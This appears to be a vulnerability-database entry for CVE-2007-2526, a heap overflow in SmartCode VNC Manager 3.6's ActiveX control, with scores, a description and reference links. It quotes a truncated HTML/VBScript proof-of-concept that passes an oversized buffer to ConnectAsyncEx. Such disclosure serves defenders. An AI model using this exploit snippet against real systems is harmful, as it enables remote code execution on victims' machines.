Published: 08/05/2007 Updated: 11/10/2017

CVSS v2 Base Score: 9.3 | Impact Score: 10 | Exploitability Score: 8.6

VMScore: 935

Vector: AV:N/AC:M/Au:N/C:C/I:C/A:C

Heap-based buffer overflow in the ConnectAsyncEx function in VNC Viewer ActiveX control (scvncctrl.dll) in the SmartCode VNC Manager 3.6 allows remote malicious users to execute arbitrary code via a long argument.

Vulnerable Product	Search on Vulmon	Subscribe to Product
smartcode vnc manager 3.6

<html> <object classid='clsid:62FA83F7-20EC-4D62-AC86-BAB705EE1CCD' id='target'></object> <script language = 'vbscript'> buff = String(3543,"A") get_EAX = "aaaa" get_EBX = "cccc" buff2 = String(1440,"B") egg = buff + get_EAX + get_EBX + buff2 targetConnectAsyncEx egg, 1, "default" </script> ...

NVD-CWE-Other http://moaxb.blogspot.com/2007/05/moaxb-08-smartcode-vnc-manager-36.html http://www.shinnai.altervista.org/moaxb/20070508/scvncctrl.txt http://www.securityfocus.com/bid/23869 http://secunia.com/advisories/25203 http://www.vupen.com/english/advisories/2007/1704 http://osvdb.org/34340 http://www.exploit-db.com/exploits/3873 https://exchange.xforce.ibmcloud.com/vulnerabilities/34149 https://nvd.nist.gov https://www.exploit-db.com/exploits/3873/

Get Started

Vulmon Search is a vulnerability search engine. It gives comprehensive vulnerability information through a very simple user interface.

Home Recent Vulnerabilities Research Posts Trends Blog About Contact

Vulmon Search Vulmon Research Vulmon Alerts Vulmap

Twitter Reddit Linkedin Facebook

CVE-2007-2526

Vulnerability Summary

Exploits

References

Vulmon Search

About

Products

Connect